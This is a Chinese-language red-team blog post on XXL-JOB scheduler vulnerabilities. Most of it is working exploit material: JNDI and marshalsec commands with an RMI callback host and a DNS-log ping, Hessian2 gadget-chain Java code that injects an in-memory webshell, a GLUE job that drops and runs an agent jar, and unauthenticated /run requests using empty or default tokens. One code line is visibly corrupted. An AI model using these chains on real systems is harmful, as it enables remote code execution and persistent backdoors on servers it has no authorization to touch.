原创 l2sec 2024-04-02 18:01 北京
XXL-JOB作为一款流行的分布式任务调度平台,因其强大的功能和易用性,被广泛部署在各种规模的系统中。对于渗透测试人员来说,学习XXL-JOB的漏洞原理,能够在一定程度上提升渗透能力。
本篇文章旨在详细介绍XXL-JOB平台中已被发现的一些关键漏洞,以及这些漏洞可能被利用的方式。
通俗的来说,XXL-JOB就像一个超级强大的闹钟,但它不仅仅能设定固定的时间响铃,还能根据复杂的规则和条件来触发任务。想象一下,你有一个任务需要每天早上8点执行,另外一个任务需要在每月的第1天晚上12点执行,还有任务是基于某些特定事件触发的,比如数据库中的数据达到一定量时。
docker启动涉及到的命令如下:
# 安装mysql
docker pull mysql
# 启动mysql
docker run -e MYSQL_ROOT_PASSWORD=123456 -p 3306:3306 -v /opt:/opt mysql --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
# 修改密码
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';
# 刷新权限
flush privileges;
# 创建数据库
CREATE database if NOT EXISTS xxl_job default character set utf8 collate utf8_general_ci;
# 导入sql文件
source /opt/xxl-job-2.4.0/doc/db/tables_xxl_job.sql;
# 下载镜像
docker pull xuxueli/xxl-job-admin:2.0.2
# 启动镜像
docker run -e PARAMS="--spring.datasource.url=jdbc:mysql://192.168.2.198:3306/xxl_job?Unicode=true&characterEncoding=UTF-8 --spring.datasource.username=root --spring.datasource.password=123456" -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin xuxueli/xxl-job-admin:2.0.2
4.2.1 漏洞复现4.2.1.1 出网利用影响版本:XXL-JOB <= 2.0.2漏洞原理:/api接口存在Hessian2反序列化漏洞漏洞复现:访问/api接口存在如下报错响应,则存在漏洞。这里测试使用的是jdk11,所以需要bypass高版本的限制,这里启动JNDI服务:
# 工具地址:https://github.com/welk1n/JNDI-Injection-Exploit,可bypass jdk高本版限制
java -jar JNDI-Injection-Exploit-1.0-welk1n.jar -A 0.0.0.0 -C "ping xmm0yh.dnslog.cn"
# 工具地址:https://github.com/mbechler/marshalsec,有Hessian的利用链
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/kt17tn > 1.ser
curl -XPOST --data-binary @1.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import sun.misc.Unsafe;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;
import javax.swing.;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.HashMap;
import java.util.Hashtable;
public class hessian_demo_main {
static SerializerFactory serializerFactory = new SerializerFactory();
static byte[] bcode;
static {
try {
// 修改下面bcode为实际生成的BASE64格式的内存马
bcode = Base64.decode("yv66vg...AAAAAgCi");
} catch (Base64DecodingException e) {
throw new RuntimeException(e);
}
}
public static void main(String[] args) throws Exception {
serializerFactory.setAllowNonSerializable(true);
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Object unsafe = f.get(null);
// 修改下面HttpClientUtil为实际生成内存马的类名
Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"HttpClientUtil", bcode, 0, bcode.length, null, null}}};
// 修改下面HttpClientUtil为实际生成内存马的类名
SwingLazyValue swingLazyValue1 = new SwingLazyValue("HttpClientUtil", null, new Object[0]);
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", ags);
Object[] keyValueList = new Object[]{"abc", swingLazyValue};
Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
Hashtable<Object, Object> hashtable3 = new Hashtable<>();
Hashtable<Object, Object> hashtable4 = new Hashtable<>();
hashtable1.put("a", uiDefaults1);
hashtable2.put("a", uiDefaults2);
hashtable3.put("b", uiDefaults3);
hashtable4.put("b", uiDefaults4);
serObj(hashtable1, hashtable2, hashtable3, hashtable4);
readObj();
}
static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 4);
Class<?> nodeC;
try {
* nodeC = Class.forName("java.util.HashMap**$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$*Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 4);
Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));
Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));
Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));
Reflections.setFieldValue(s, "table", tbl);
Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(s);
hessian2Output.close();
}
static void readObj() throws Exception {
Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));
hessian2Input.readObject();
}
}
curl -XPOST --data-binary @hessian.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Hashtable;
import static com.qt.test.hessian_demo_main.serializerFactory;
public class hessian_demo_two {
public static void main(String[] args) throws Exception {
String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
"xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +
"xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +
"xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +
"xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +
">\n" +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'base64_payload')\"/>\n" +
" <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +
" <xsl:variable name=\"rce\" select=\"ru:defineClass('class_name',$bs,$cl)\"/>\n" +
" <xsl:value-of select=\"$rce\"/>\n" +
" </xsl:template>\n" +
" </xsl:stylesheet>";
String base64Code = "yv66vg...AAAAAgCi";
serializerFactory.setAllowNonSerializable(true);
String xslt = xsltTemplate.replace("base64_payload", base64Code).replace("class_name", "HttpClientUtil");
SwingLazyValue value1 = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"E:/SecCode/Test/Test/xslt_temp", xslt.getBytes()});
SwingLazyValue value2 = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file:///E:/SecCode/Test/Test/xslt_temp"}});
Object[] keyValueList = new Object[]{"abc", value1};
Object[] keyValueList1 = new Object[]{"ccc", value2};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
Hashtable<Object, Object> hashtable3 = new Hashtable<>();
Hashtable<Object, Object> hashtable4 = new Hashtable<>();
hashtable1.put("a", uiDefaults1);
hashtable2.put("a", uiDefaults2);
hashtable3.put("b", uiDefaults3);
hashtable4.put("b", uiDefaults4);
serObj(hashtable1, hashtable2, hashtable3, hashtable4);
readObj();
}
static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 4);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 4);
Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));
Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));
Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));
Reflections.setFieldValue(s, "table", tbl);
Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(s);
hessian2Output.close();
}
static void readObj() throws Exception {
Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));
hessian2Input.readObject();
}
}
4.2.2 漏洞分析找到触发/api路由的方法,位于com.xxl.job.admin.controller.JobApiController#api。进入com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#invokeAdminService。进入com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#handle。进入com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest,其中readBytes(request)方法获取请求体的数据,然后传入com.xxl.rpc.serialize.impl.HessianSerializer#deserialize。下面就是Hessian2反序列化的流程:
4.3.1 漏洞复现测试环境:2.1.2(2.0.2版本powershell脚本测试执行失败),需要启动执行器,新增一个powershell脚本任务:添加完成后,编辑GLUE,插入要执行的命令。点击执行一次,然后点击查询调度日志,执行命令的结果在日志中。4.3.1.1 出网利用一般考虑反弹shell或者上线cs。
4.3.1.2 不出网利用考虑注入一个java agent内存马,因为没有上传点,需要写一个agent马进去,测试环境:jdk1.8,先准备好agent内存马,然后将其base64编码后分割再拼接:
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Base64;
public class Base64FileSplit {
public static void main(String[] args) {
File file = new File("E:\\Agent-1.0.jar");
FileOutputStream fos = null;
try {
fos = new FileOutputStream("split_base64_output.txt");
byte[] buffer = new byte[1000]; // 缓冲区大小为1000个字符
int bytesRead;
// 读取文件并转换为Base64字符串
FileInputStream fis = new FileInputStream(file);
byte[] fileContent = new byte[(int) file.length()];
fis.read(fileContent);
String base64String = Base64.getEncoder().encodeToString(fileContent);
// 分割Base64字符串并写入到文件
for (int i = 0; i < base64String.length(); i += 1000) {
String line = "sb.append(\"" + base64String.substring(i, Math.min(i + 1000, base64String.length())) + "\");";
fos.write(line.getBytes());
fos.write("\n".getBytes());
}
System.out.println("Base64字符串已成功分割并写入到文件中.");
} catch (IOException e) {
e.printStackTrace();
} finally {
if (fos != null) {
try {
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
package com.xxl.job.service.handler;
import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
import java.io.*;
import java.util.Base64;
public class DemoGlueJobHandler extends IJobHandler {
@Override
public ReturnT<String> execute(String param) throws Exception {
saveJarAndEx();
return ReturnT.SUCCESS;
}
public static void saveJarAndEx() {
StringBuilder sb = new StringBuilder();
// 拼接的base64字符串
sb.append("UEsDBAoAAAAAANwVPlgAAAAAAAAA...");
...
....
...
sb.append("...DQAAAA==");
// Base64解码
String base64String = sb.toString();
byte[] decodedBytes = Base64.getDecoder().decode(base64String);
// 保存agent jar
File jarFile = new File("test1.jar");
try {
FileOutputStream fileOutputStream = new FileOutputStream(jarFile);
fileOutputStream.write(decodedBytes);
fileOutputStream.close();
// 执行jar
ProcessBuilder processBuilder = new ProcessBuilder("java", "-jar", "test1.jar");
Process process = processBuilder.start();
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
} catch (FileNotFoundException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
4.3.2 漏洞分析执行任务的路由为:/jobinfo/trigger,对应的源码为:com.xxl.job.admin.controller.JobInfoController#triggerJob。
4.4.1 漏洞复现影响版本:XXL-JOB <= 2.2.0漏洞原理:/run接口触发执行器执行脚本,acessToken为空绕过鉴权。漏洞复现:Executor默认是监听在9999端口,和后台执行任务导致的命令执行一样,只不过这里直接未授权请求Executor去触发脚本执行,测试版本:2.2.0,通过powershell执行。POC:
Java
POST /run HTTP/1.1
Host: 192.168.2.132:9999
Content-Type: application/json
Content-Length: 311
{
"jobId":1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}
4.4.2 漏洞分析在com.xxl.job.core.server.EmbedServer.EmbedHttpServerHandler#process方法中校验请求包中的accessToken,由于在 <= 2.2.0时,accessToken值默认为空,所以accessToken.trim().length() > 0为false,即绕过认证。和后台通过执行任务造成的命令执行原理一样。
4.5.1 漏洞复现影响版本:XXL-JOB <= 2.4.0漏洞原理:用于调度通讯的 accessToken 为默认值default_token。漏洞复现:添加请求头,直接通过/run接口触发命令执行:POC:
Java
POST /run HTTP/1.1
Host: 192.168.2.132:9999
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
Content-Length: 311
{
"jobId":1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}
4.5.2 漏洞分析token校验的时候获取请求头的XXL-JOB-ACCESS-TOKEN的值,和配置文件的默认accessToken 值default_token进行对比。
关于作者:
l2sec:青藤红队成员,主要研究方向为红蓝对抗和漏洞挖掘。-完-
